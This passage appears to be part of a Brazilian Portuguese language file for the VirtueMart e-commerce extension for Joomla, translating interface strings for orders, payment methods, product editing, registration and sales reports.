COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL_DISCOUNT_AMOUNT="Desconto" COM_VIRTUEMART_ORDER_PRINT_TAX="Imposto" COM_VIRTUEMART_ORDER_PRINT_TOTAL="Total" COM_VIRTUEMART_ORDER_PRINT_TOTAL_PAYMENT="Total em moeda de pagamento" COM_VIRTUEMART_ORDER_PRINT_TOTAL_TAX="Taxa Total" COM_VIRTUEMART_ORDER_PRINT_ZIP="Zip/Código Postal" COM_VIRTUEMART_ORDER_S="Pedidos" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelado" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="O status do seu número de pedido. %s foi alterado." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="O novo status é" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="Para ver os detalhes do pedido, por favor siga este link (ou copie isso dentro da barra de endereços do seu navegador)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Alterar status do pedido" COM_VIRTUEMART_ORDER_STATUS_CODE="Código do Status do pedido" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Código do status do pedido é usado pelo VirtueMart. Não pode ser excluído." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="Este código de status do pedido já existe. Por favor, escolha outro." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Código de status do pedido é apenas um caractere" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED="Confirmado" COM_VIRTUEMART_ORDER_STATUS_NAME="Nome do status do pedido" COM_VIRTUEMART_ORDER_STATUS_PENDING="Pendente" COM_VIRTUEMART_ORDER_STATUS_REFUNDED="Reembolsado" COM_VIRTUEMART_ORDER_STATUS_SHIPPED="Enviado" COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE="Disponível" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE="Manejo do estoque" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE_TIP="Escolha o movimento para fazer no estoque quando mudar o status do pedido.
            Produtos reservados são deduzidos do estoque para venda, mas estão em estoque." COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT="Fora de armazenamento" COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED="Reservado" COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY="{X} pedidos foram atualizados" COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS="Atualizar status para todas as linhas?" COM_VIRTUEMART_ORDER_UPDATE_STATUS="Status da atualização" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="Lista de pedidos VirtueMart" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="Lista de pedidos VirtueMart" COM_VIRTUEMART_OVERWRITE_FINAL="Sobrescrever preço final" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Sobrescrever preço a ser taxado" COM_VIRTUEMART_PAYMENT="Pagamento" COM_VIRTUEMART_PAYMENTMETHOD="Método de pagamento" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="O método de pagamento selecionado não pode ser instanciado porque não existe." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Código" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="Um código único para o método de pagamento (p.e PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Por favor, insira o código do método de pagamento." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Por favor, insira o nome do método de pagamento." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CODE="código" COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Tipos de cartão de crédito" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Desconto" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Tipo de método de pagamento" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Nome do pagamento" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Grupo de compradores" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Erro" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Código" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Desconto" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Tipo de método de pagamento" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Nome" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Grupo de compradores" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Nome de método de pagamento já existe. Por favor, selecione outro nome " COM_VIRTUEMART_PAYMENTMETHOD_S="Métodos de pagamento" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Por favor, selecione um método de pagamento para atualizar." COM_VIRTUEMART_PAYMENT_CLASS_NAME="Método de pagamento" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Selecione o método de pagamento, e clique no botão aplicar para Joomla 1.5, ou botão Salvar para Joomla 1.7 para mostrar os parâmetros apropriados na guia de configuração" COM_VIRTUEMART_PAYMENT_ELEMENT="Nome do método" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Descrição do pagamento" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Descrição do pagamento" COM_VIRTUEMART_PAYMENT_LIST_LBL="Lista de método de pagamento" COM_VIRTUEMART_PAYMENT_LIST_NAME="Nome do pagamento" COM_VIRTUEMART_PAYMENT_NAME="Nome" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Grupo de compradores" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Pagamento processado com sucesso" COM_VIRTUEMART_PAYMENT_TYPE="Tipo de método" COM_VIRTUEMART_PDF_ICON_SHOW="Mostrar o ícone de visualização do pdf?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Mostrar ou ocultar o ícone de endereço do pdf" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="O grupo de permissão deve ter um nome." COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="O nome do grupo de permissão contém caracteres inválidos" COM_VIRTUEMART_PLEASE_SEL_ITEM="Por favor, selecione um item" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Desconto/taxa " COM_VIRTUEMART_PLUGIN_WARNING="Por favor, configure Plugins VirtueMart de Transporte ou Pagamento dentro do componente VirtueMart
            Parâmetros definidos aqui não serão usados em todos." COM_VIRTUEMART_PN_DISPLAY_NR="Exibir #" COM_VIRTUEMART_PREVIEW="Visualizar" COM_VIRTUEMART_PRINT="Imprimir" COM_VIRTUEMART_PRINT_VIEW="Visualizar impressão" COM_VIRTUEMART_PRODUCT="Produto" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Selecionar um produto" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Cria um link para exibir o produto selecionado" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Produto" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Para definir a visualização do produto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Exibir um único produto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="Layout dos detalhes do produto VirtueMart" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Mover produtos" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Alguma coisa ocorreu errada ao tentar adicionar o produto!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Adicionar um produto filho" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Produto disponível" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="Ele estará disponível novamente em:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Data do produto disponível" COM_VIRTUEMART_PRODUCT_ALIAS="Pseudônimo do produto" COM_VIRTUEMART_PRODUCT_BASEPRICE="Preço base " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Preço base para a variante " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Preço base com impostos " COM_VIRTUEMART_PRODUCT_BOX="Unidades na caixa" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="NENHUMA DESCRIçãO" COM_VIRTUEMART_PRODUCT_CALL="Chamar para preços" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Falha ao excluir produto filho" COM_VIRTUEMART_PRODUCT_CATEGORY="Categoria do produto" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Nome da categoria do produto" COM_VIRTUEMART_PRODUCT_CHILD="Produto Filho" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Prodtuo Filho" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Produto é filho para" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Produto filho criado com sucesso" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Produtos filho" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Nome do produto filho" COM_VIRTUEMART_PRODUCT_CLONE="Copiar produto" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="O produto foi clonado com sucesso" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Também clone esses itens filho" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Opções de cópia de produtos" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Criar produto filho" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Campo personalizado" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Personalizado %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Campos personalizados" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="Todos os compradores" COM_VIRTUEMART_PRODUCT_DESC="Descrição do produto" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Descrição" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Fabricante" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Página de detalhes do produto" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="Origem" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Unidade de dimensão" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Preço com desconto " COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="Você pode usar o formulário de Desconto de Produto para adicionar descontos!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="O desconto do produto foi adicionado." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Desconto " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Tipo de desconto" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="A quantia deve ser um percentual ou um total?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Aplicar nenhuma regra" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Aplicar regra genérica" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Substituir" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="Você pode usar isso para descontar temporariamente um produto" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Editar produto filho" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Enviar E-mail para compradores" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Conteúdo" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Data de envio" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Por favor digita uma mensagem" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Por favor, digite o assunto do e-mail" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="Nenhum cliente adquiriu este produto" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Selecione o 'Status dos produtos solicitados'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Selecione o 'Status dos produtos solicitados' dos pedidos realizados para mostrar a lista dos compradores que irão receber o e-mail" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Enviar E-mail" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Enviar e-mail para os compradores" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Enviar um e-mail para clientes que adquiriram este produto (%d comprador(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Mensagem sobre o % de produto" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Assunto" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Faça uma pergunta sobre este produto" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Voltar à lista de arquivo do produto" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Buscar produto" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Apelido do produto" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Preencha aqui qualquer texto que será exibido para o cliente sobre o produto flypage.
            e.g.: 24h, 48 hours, 3 - 5 days, On Order....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="Ou selecione uma imagem a ser exibida na página de detalhes (flypage).
            As imagens residem no diretório %s
            " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Data disponível" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Aqui você pode preencher o número de unidades em uma caixa. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calcular o preço de custo" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Marque esta opção para calcular o preço de custo com o preço final desejado" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Produtos Pai e Filho" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="Depois modificar preço de imposto" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Antes modificar preço de imposto" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Você tem certeza de que deseja excluir este Item?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Tem certeza de que deseja excluir este produto e os itens relacionados a ele?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Descrição do produto" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Preço com desconto" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Aqui você pode substituir a configuração de desconto e preencher um desconto especial para este produto.
            A loja vai criar um novo registro de desconto do preço com desconto." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Desconto " COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Tipo de desconto" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Editar este produto" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="E-mails" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Altura" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="Em estoque" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Dimensões e Peso do item" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Rótulo de imagem" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Informação sobre item do produto" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Status do Item" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Comprimento" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Quantidade máxima de Compra" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Quantidade mínima de Compra" COM_VIRTUEMART_PRODUCT_FORM_NAME="Nome do produto" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="Novo produto" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Reservado, produtos comprados" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Unidades em um pacote" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Aqui você pode preencher o número de unidades em um pacote. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Pai" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Editar pai" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Preço do produto" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Preço base" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Preço base com imposto" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="O preço base é o preço de custo convertidos em moeda padrão do fornecedor" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Preço de custo" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="Isso é preço de custo real, na moeda selecionada" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Preço final" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="O preço final é o preço base com todas as regras que afetam, aplicada em moeda padrão do fornecedor" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Preço do produto (Bruto)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Preço do produto (Custo)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Preço do produto (varejo)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="Imposto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Campos personalizados" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Dimensões e peso do produto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Imagens do produto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Informações do produto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Lista de produtos filho" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Status do produto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Tipos de produto" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Variantes do produto" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Propriedade" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="Nova propriedade" COM_VIRTUEMART_PRODUCT_FORM_PUBLISH="Publicado?" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Preço do produto" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Substituir regras de preços" COM_VIRTUEMART_PRODUCT_FORM_SKU="SKU do Produto" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="Em destaque" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Descrição curta" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unidade" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="Parte" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Atualizar Item" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Fornecedor" COM_VIRTUEMART_PRODUCT_HEIGHT="Altura do produto" COM_VIRTUEMART_PRODUCT_ID="ID do produto" COM_VIRTUEMART_PRODUCT_ID_MISSING="Está faltando o ID do produto." COM_VIRTUEMART_PRODUCT_IMAGE="Imagem do produto" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="URL da Imagem deve começar com http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Falha ao apagar as imagens do produto!" COM_VIRTUEMART_PRODUCT_INFORMATION="Informação do produto" COM_VIRTUEMART_PRODUCT_INVENTORY="Registro" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Preço" ;COM_VIRTUEMART_PRODUCT_INVENTORY_SEE_SHOPPER_RESERVED_LIST="See shoppers who have ordered but are awaiting this product" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Valor" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Peso" COM_VIRTUEMART_PRODUCT_IN_STOCK="Produto em estoque" COM_VIRTUEMART_PRODUCT_LENGTH="Comprimento do produto" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Buscar produto" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="depois" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="antes" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="com modificador de preço" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modificado" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="sem preço" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="somente pai" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Nome do fornecedor" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="Listar todos %s filhos" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="O produto %s está com estoque de %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="O produto %s está com estoque baixo" COM_VIRTUEMART_PRODUCT_LWH_UOM="Unidade de medida Comprimento / Peso / Altura" COM_VIRTUEMART_PRODUCT_MEDIA="Arquivo de mídia" COM_VIRTUEMART_PRODUCT_MOD="Produtos" COM_VIRTUEMART_PRODUCT_NAME="Nome do produto" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Nome do produto" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Mostrar a navegação de produto?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Mostrar a navegação de produto na parte superior da página do produto" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Email(s) enviado(s)" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Quantos notificar ( deixe em branco para todos )" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Notificar os usuários" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="O produto não foi clonado com sucesso" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Desculpe, mas o produto que você requisitou não foi encontrado!" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Produto filho não foi criado com sucesso" COM_VIRTUEMART_PRODUCT_OF="Sobre" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Níveis de pedido do produto" COM_VIRTUEMART_PRODUCT_PACKAGING="Embalagem do produto" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="NENHUMA DESCRIçãO" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Tem produto filho?" COM_VIRTUEMART_PRODUCT_PRICE="Preço do produto" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Preço" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Nota interna" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Tipo de produto" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Buscar por produtos relacionados" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Família" COM_VIRTUEMART_PRODUCT_S="Produtos" COM_VIRTUEMART_PRODUCT_SALES="Produtos à venda" COM_VIRTUEMART_PRODUCT_SALESPRICE="Preço de venda " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Preço de venda sem imposto " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Preço de venda com desconto " COM_VIRTUEMART_PRODUCT_SHOPPERS="Clientes" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="Lista de compradores que compraram %1$s" COM_VIRTUEMART_PRODUCT_SKU="SKU do produto" COM_VIRTUEMART_PRODUCT_SPECIAL="Produto em destaque" COM_VIRTUEMART_PRODUCT_S_DESC="Descrição curta do produto" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Valor do imposto " COM_VIRTUEMART_PRODUCT_TAX_NONE="Nenhuma regra aplicada" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Aplicar regra padrão" COM_VIRTUEMART_PRODUCT_UNIT="Unidade do produto" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Usar o template de notificação" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="Se marcado, a notificação padrão será enviada." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s chegou!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notificado" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Notificar estes usuários agora (quando você tiver atualizado o número de estoque de produtos)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Lista de espera" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Usuários estão aguardando notificação quando chegar este produto no estoque" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="Não existem usuários em espera" COM_VIRTUEMART_PRODUCT_WEIGHT="Peso do produto" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Peso da unidade do produto" COM_VIRTUEMART_PRODUCT_WIDTH="Largura do produto" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Produtos selecionados %s" ; COM_VIRTUEMART_PRODUCT_MASSXREF="Mass referencing of items to a product" ; COM_VIRTUEMART_PRODUCT_XREF_CAT="Mass associate categories" ; COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Execute mass associate categories" ; COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Mass associate shoppergroups" ; COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Execute mass associate shoppergroups" COM_VIRTUEMART_PUBLISH="Publicado" COM_VIRTUEMART_PUBLISHED="Publicado" COM_VIRTUEMART_PUBLISH_ITEM="Item publicado" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="RaiseWarning utilizado: Não foi capaz de salvar os dados do usuário VirtueMart" COM_VIRTUEMART_RATE_FORM_VAT_ID="Imposto" COM_VIRTUEMART_RATE_NOM="Classificação" COM_VIRTUEMART_RATINGS="Visualizações e classificação" COM_VIRTUEMART_RATING_DATE_TITLE="Revisar data" COM_VIRTUEMART_RATING_EDIT_TITLE="Editar comentário do comprador" COM_VIRTUEMART_RATING_TITLE="Classificação" COM_VIRTUEMART_RECCOMEND_UNATUH="Permitir ao não logado enviar recomendação" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="Quando habilitado qualquer usuário pode enviar recomendação no produto, caso contrário apenas os usuários registrados são capazes de enviar recomendações" COM_VIRTUEMART_RECENT_PRODUCTS="Produtos recentemente visualizados" COM_VIRTUEMART_REGISTER_ACCOUNT="Registrar uma conta?
            Conta permite que você volte para esta loja e veja todos os pedidos que você fez." COM_VIRTUEMART_REGISTER_BEFORE="Por favor registre-se para usar este recurso" COM_VIRTUEMART_REGISTER_EMAIL="E-mail" COM_VIRTUEMART_REGISTER_TITLE="Registro" COM_VIRTUEMART_REGISTER_UNAME="Nome de usuário" COM_VIRTUEMART_REGISTRATION_FORM_NONE="Nenhum" COM_VIRTUEMART_REG_COMPLETE="
            Registro Completo!
            " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
            Registro Completo!

            Sua conta foi criada e um link de ativação foi enviado para o endereço de e-mail que você forneceu. Note que você deve ativar a conta clicando no link de ativação enviado para seu e-mail antes de você poder fazer o login." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
            Registro de fornecedor completo!
            " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
            Registro de fornecedor completo!

            Sua conta foi criada e um link de ativação foi enviado para o endereço de e-mail que você forneceu. Note que você deve ativar a conta clicando no link de ativação enviado para seu e-mail antes de você poder fazer o login." COM_VIRTUEMART_RELATED_CATEGORIES="Categorias relacionadas" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Adicionar categorias a serem exibidas na página de detalhes do produto" COM_VIRTUEMART_RELATED_PRODUCTS="Produtos Relacionados" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="Você pode também estar interessado neste / nestes produtos(s)" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Adicione produtos a serem exibidos na página de detalhes do produto" COM_VIRTUEMART_RELOAD="Recarregar" COM_VIRTUEMART_REMEMBER_ME="Lembrar-me" COM_VIRTUEMART_REPORT="Relatório de rendimentos" COM_VIRTUEMART_REPORT_BASIC_DATE="Data" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Listagem de Produtos Individuais" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="últimos 60 dias" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="últimos 90 dias" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="último Mês" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Pedidos" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Listagem de produtos" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Relatório para" COM_VIRTUEMART_REPORT_BASIC_REVENUE="Rendimento" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Visão geral de atividade de vendas, // não usado?" 